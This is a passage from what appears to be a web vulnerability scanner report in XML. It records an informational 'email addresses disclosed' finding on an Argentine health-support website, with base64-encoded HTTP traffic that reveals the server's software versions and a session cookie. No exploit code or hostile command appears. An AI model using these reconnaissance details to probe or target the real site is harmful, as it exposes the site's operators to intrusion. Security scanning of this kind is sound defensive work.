ICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxiciAvPiBKVVJJU0RJQ0NJT046IE5BQ0lPTkFMPGJyIC8+IE1BVEVSSUE6IEFCT1JUTy48YnIgLz4gVFJJQlVOQUw6IENvcnRlIFN1cHJlbWEgZGUgSnVzdGljaWEgZGUgbGEgTmFjaSZvYWN1dGU7bi48YnIgLz4gQVVUT1M6IEYuLCBBLiBMLiBzLyBtZWRpZGEgYXV0b3NhdGlzZmFjdGl2YS48YnIgLz4gRkVDSEE6IDEzLzAzLzIwMTIuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI1OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNTkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBGSU4gbm90YSBjb211biAtLT4KPC90YWJsZT4KPG1hcCBuYW1lPSJNYXBNYXAiIGlkPSJNYXBNYXAiPjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjE0NCw0LDIxNCwzNiIgaHJlZj0iaW5kZXgucGhwP2lkPTE0IiAvPgo8L21hcD4KPG1hcCBuYW1lPSJNYXAyTWFwMiIgaWQ9Ik1hcDJNYXAyIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIxNDcsNCwyMjAsMzYiIGhyZWY9ImluZGV4LnBocD9pZD0xNGEiIC8+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcDMiIGlkPSJNYXAzIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIzNjMsMyw0MzYsMzkiIGhyZWY9ImluZGV4LnBocD9pZD0xNGIiIC8+CjwvbWFwPgo8L2h0bWw+CjwvdGQ+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gICAgICAgICAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFM0UzRTMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSI3MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNiUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9kZWNpbG9fYmllbl9mdWVydGUxLmpwZyIgd2lkdGg9IjEyMCIgaGVpZ2h0PSIxMTIiPjwvdGQ+CiAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiA+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTI0IiBjbGFzcz0iYm90b24xIj5bK10gTSZhYWN1dGU7cyBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0UzRTNFMyI+ICAgICAgICA8L3RyPgogICAgICAgIDx0cj4gCiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj4mbmJzcDs8L3RkPgogICAgICAgIDwvdHI+CiAgICA8L3RhYmxlPjwvdGQ+CiAgPC90cj4KICA8dHI+IAogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSI+PGltZyBzcmM9ImltZy9penExLmpwZyIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjExNCIgLz48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9RdWllbmVzU29tb3NfQTJfMF8yNS5qcGciIHdpZHRoPSI4MDkiIGhlaWdodD0iMTE0IiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcDIiIC8+PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI1MCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzE4XzE4LmpwZyI+Jm5ic3A7PC90ZD4KICAgIDx0ZCBoZWlnaHQ9IjUwIiBjbGFzcz0iZm9uZG9ib3R0b20iPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2l0ZWkuY29tLmFyLyI+PGltZyBzcmM9ImltZy9laV9jb2xvci5wbmciIGFsdD0iZXNwYWNpb3MgZGUgaW1hZ2luYWNpb24sIGRlc2Fycm9sbG9zIGludGVyYWN0aXZvcywgY3JlYXRpdmlkYWQsIGRpc2XxbyIgd2lkdGg9IjI3IiBoZWlnaHQ9IjE1IiBib3JkZXI9IjAiPjwvYT4gPHNwYW4gY2xhc3M9ImVpIj48YSBocmVmPSJodHRwOi8vd3d3LnNpdGVpLmNvbS5hci8iIHNwYW4gY2xhc3M9ImVpIj5kaXNlJm50aWxkZTtvICsgY29tdW5pY2FjaSZvYWN1dGU7bjwvYT48L3NwYW4+PGVtPiZuYnNwOzwvZW0+PC9zcGFuPjxzcGFuIGNsYXNzPSJibGFuY28xIj48ZW0+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9lbT48L3NwYW4+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgoKCjxtYXAgbmFtZT0iTWFwMiI+PGFyZWEgc2hhcGU9InJlY3QiIGNvb3Jkcz0iMjQ3LDY5LDQxNCw4MiIgaHJlZj0ibWFpbHRvOnNhbHVkYWN0aXZhQHNhbHVkYWN0aXZvLm9yZy5hciI+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcCI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM2LDE0MiwxNDksMTUyIiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MiI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM0LDE4NiwxNTAsMTk2IiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MCI+CjwvbWFwPgo8L2JvZHk+CjwvaHRtbD4K]]></response>
183 <responseRedirected>false</responseRedirected>
184 </requestresponse>
185 </issue>
186 <issue>
187 <serialNumber>2348918843333562368</serialNumber>
188 <type>6291968</type>
189 <name>Email addresses disclosed</name>
190 <host ip="200.20.20.201">http://www.example.org.ar</host>
191 <path><![CDATA[/]]></path>
192 <location><![CDATA[/]]></location>
193 <severity>Information</severity>
194 <confidence>Certain</confidence>
195 <issueBackground><![CDATA[The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.<br><br>However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organization's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.]]></issueBackground>
196 <remediationBackground><![CDATA[You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as [email protected]).]]></remediationBackground>
197 <issueDetail><![CDATA[The following email addresses were disclosed in the response:<ul><li>[email protected]</li><li>[email protected]</li></ul>]]></issueDetail>
198 <requestresponse>
199 <request base64="true"><![CDATA[R0VUIC8gSFRUUC8xLjENCkhvc3Q6IHd3dy5zYWx1ZGFjdGl2YS5vcmcuYXINClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwLjg7IHJ2OjIzLjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMjMuMA0KQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgNCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjUNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo=]]></request>
200 <response base64="true"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA3IE5vdiAyMDEzIDE3OjEyOjAyIEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIzIChVbml4KSBtb2Rfc3NsLzIuMi4yMyBPcGVuU1NMLzAuOS44ZS1maXBzLXJoZWw1DQpYLVBvd2VyZWQtQnk6IFBIUC81LjIuMTcNCkV4cGlyZXM6IFRodSwgMTkgTm92IDE5ODEgMDg6NTI6MDAgR01UDQpDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MA0KUHJhZ21hOiBuby1jYWNoZQ0KU2V0LUNvb2tpZTogUEhQU0VTU0lEPTk0NTg1YWEwYzExY2YyZTg2NGQ4M2UyNDY3OGI5ODY1OyBwYXRoPS8NCktlZXAtQWxpdmU6IHRpbWVvdXQ9MjAsIG1heD0yMDANCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sDQpDb250ZW50LUxlbmd0aDogNjA2MDYNCg0KIDxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIiAvPgo8dGl0bGU+U2FsdWQgQWN0aXZhIC0gQWJ1c28gdmlvbGVuY2lhIHkgbWFsdHJhdG88L3RpdGxlPgoKPHNjcmlwdD4gCiAgICAvL2VzdG8gcGFyYSBwYXNhcmxlIGFsIGZsYXNoIGxhcyB2YXJpYWxiZXMgZGVsIHBocAogCQoKCXZhciBib3Q9Jyc7Ci8vYWxlcnQodmFyaWFibGVTZXJ2aWRvcik7Cjwvc2NyaXB0Pgo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0IiB0eXBlPSJ0ZXh0L0phdmFTY3JpcHQiPgo8IS0tCmZ1bmN0aW9uIE1NX3ByZWxvYWRJbWFnZXMoKSB7IC8vdjMuMAogIHZhciBkPWRvY3VtZW50OyBpZihkLmltYWdlcyl7IGlmKCFkLk1NX3ApIGQuTU1fcD1uZXcgQXJyYXkoKTsKICAgIHZhciBpLGo9ZC5NTV9wLmxlbmd0aCxhPU1NX3ByZWxvYWRJbWFnZXMuYXJndW1lbnRzOyBmb3IoaT0wOyBpPGEubGVuZ3RoOyBpKyspCiAgICBpZiAoYVtpXS5pbmRleE9mKCIjIikhPTApeyBkLk1NX3Bbal09bmV3IEltYWdlOyBkLk1NX3BbaisrXS5zcmM9YVtpXTt9fQp9Ci8vLS0+Cjwvc2NyaXB0Pgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KCjwvaGVhZD4KCjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiIHR5cGU9InRleHQvSmF2YVNjcmlwdCI+CjwhLS0KZnVuY3Rpb24gTU1fcmVsb2FkUGFnZShpbml0KSB7ICAvL3JlbG9hZHMgdGhlIHdpbmRvdyBpZiBOYXY0IHJlc2l6ZWQKICBpZiAoaW5pdD09dHJ1ZSkgd2l0aCAobmF2aWdhdG9yKSB7aWYgKChhcHBOYW1lPT0iTmV0c2NhcGUiKSYmKHBhcnNlSW50KGFwcFZlcnNpb24pPT00KSkgewogICAgZG9jdW1lbnQuTU1fcGdXPWlubmVyV2lkdGg7IGRvY3VtZW50Lk1NX3BnSD1pbm5lckhlaWdodDsgb25yZXNpemU9TU1fcmVsb2FkUGFnZTsgfX0KICBlbHNlIGlmIChpbm5lcldpZHRoIT1kb2N1bWVudC5NTV9wZ1cgfHwgaW5uZXJIZWlnaHQhPWRvY3VtZW50Lk1NX3BnSCkgbG9jYXRpb24ucmVsb2FkKCk7Cn0KTU1fcmVsb2FkUGFnZSh0cnVlKTsKLy8tLT4KCjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKCjwvaGVhZD4KCjxib2R5IGJhY2tncm91bmQ9ImltZy9mb25kb19kZWdyYWRlLmpwZyIgdG9wbWFyZ2luPSIwIj4KPHRhYmxlIHdpZHRoPSIxMDA1IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgPHRyPiAKICAgIDx0ZCB3aWR0aD0iOTYiPjxpbWcgc3JjPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzBfMDEuanBnIiB3aWR0aD0iOTYiIGhlaWdodD0iMjA4IiAvPjwvdGQ+CiAgICA8dGQgd2lkdGg9IjgwOSI+IDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KQUNfRkxfUnVuQ29udGVudCggJ2NvZGViYXNlJywnaHR0cDovL2Rvd25sb2FkLm1hY3JvbWVkaWEuY29tL3B1Yi9zaG9ja3dhdmUvY2Ficy9mbGFzaC9zd2ZsYXNoLmNhYiN2ZXJzaW9uPTcsMCwxOSwwJywnd2lkdGgnLCc4MDknLCdoZWlnaHQnLCcyMDgnLCdzcmMnLCdzd2YvaGVhZGVyJywncXVhbGl0eScsJ2hpZ2gnLCdwbHVnaW5zcGFnZScsJ2h0dHA6Ly93d3cubWFjcm9tZWRpYS5jb20vZ28vZ2V0Zmxhc2hwbGF5ZXInLCdtb3ZpZScsJ3N3Zi9oZWFkZXInICk7IC8vZW5kIEFDIGNvZGUKPC9zY3JpcHQ+IDxub3NjcmlwdD4KICAgICAgPG9iamVjdCBjbGFzc2lkPSJjbHNpZDpEMjdDREI2RS1BRTZELTExY2YtOTZCOC00NDQ1NTM1NDAwMDAiIGNvZGViYXNlPSJodHRwOi8vZG93bmxvYWQubWFjcm9tZWRpYS5jb20vcHViL3Nob2Nrd2F2ZS9jYWJzL2ZsYXNoL3N3Zmxhc2guY2FiI3ZlcnNpb249NywwLDE5LDAiIHdpZHRoPSI4MDkiIGhlaWdodD0iMjA4Ij4KICAgICAgICA8cGFyYW0gbmFtZT0ibW92aWUiIHZhbHVlPSJzd2YvaGVhZGVyLnN3ZiIgLz4KICAgICAgICA8cGFyYW0gbmFtZT0icXVhbGl0eSIgdmFsdWU9ImhpZ2giIC8+CiAgICAgICAgPGVtYmVkIHNyYz0ic3dmL2hlYWRlci5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9IjgwOSIgaGVpZ2h0PSIyMDgiPjwvZW1iZWQ+IAogICAgICA8L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIHdpZHRoPSIxMiUiIHJvd3NwYW49IjUiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzAwMDAwMCI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI0NjEiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaW1nL1F1aWVuZXNTb21vc19BMl8wXzEzLmpwZyI+IAogICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CkFDX0ZMX1J1bkNvbnRlbnQoICdjb2RlYmFzZScsJ2h0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCcsJ3dpZHRoJywnOTYnLCdoZWlnaHQnLCc0NjEnLCdzcmMnLCdzd2Yvc3VibWVudScsJ3F1YWxpdHknLCdoaWdoJywncGx1Z2luc3BhZ2UnLCdodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyJywnbW92aWUnLCdzd2Yvc3VibWVudScgKTsgLy9lbmQgQUMgY29kZQo8L3NjcmlwdD4gPG5vc2NyaXB0PgogICAgICA8b2JqZWN0IGNsYXNzaWQ9ImNsc2lkOkQyN0NEQjZFLUFFNkQtMTFjZi05NkI4LTQ0NDU1MzU0MDAwMCIgY29kZWJhc2U9Imh0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+CiAgICAgICAgPHBhcmFtIG5hbWU9Im1vdmllIiB2YWx1ZT0ic3dmL3N1Ym1lbnUuc3dmIiAvPgogICAgICAgIDxwYXJhbSBuYW1lPSJxdWFsaXR5IiB2YWx1ZT0iaGlnaCIgLz4KICAgICAgICA8ZW1iZWQgc3JjPSJzd2Yvc3VibWVudS5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+PC9lbWJlZD48L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgYmdjb2xvcj0iI0ZGRkZGRiI+CiAgICAgICAgPHRyPiAKICAgICAgICAgIDx0ZCB3aWR0aD0iMTciIHJvd3NwYW49IjciPjxwPiZuYnNwOzwvcD48L3RkPgogICAgICAgICAgPHRkIHdpZHRoPSIxNzIiIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxpbWcgc3JjPSJpbWcvM3B4LmpwZyIgd2lkdGg9IjUiIGhlaWdodD0iNSI+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciI+PGxpbmsgaHJlZj0iLi4vZXN0aWxvcy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIC8+Cjxib2R5IGJnY29sb3I9IiNDQ0NDQ0MiIHRvcG1hcmdpbj0iNiBweCI+PHRhYmxlIHdpZHRoPSIxNjUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIzIiBiZ2NvbG9yPSIjRkZGRkZGIj4KPHRyPgogICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTkxIiBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiAgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MThfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+SG9tZTwvYT48L3RkPgogIDwvdHI+Cjx0cj4KICA8dGQgaGVpZ2h0PSIyOCIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj4mbmJzcDsmbmJzcDtOb3RpY2lhczwvYT48L3RkPgo8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJkb25hY2lvbmVzLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJmb25kb2JvdG9uIj5Eb25hY2lvbmVzPC9hPjwvdGQ+CiAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciICB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yM19uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5IaXN0b3JpYWwgZGUgbmV3c2xldHRlcnM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTEzYSIgY2xhc3M9ImZvbmRvYm90b24iPkVudmlhciBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yNl9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5WZXIgdHJhYmFqb3MgZGUgdXN1YXJpb3M8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MTZfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+U2FsdWQgQWN0aXZhIHByZW5zYTwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJtYWlsdG86c2FsdWRhY3RpdmFAc2FsdWRhY3RpdmEub3JnLmFyIiBjbGFzcz0iZm9uZG9ib3RvbiI+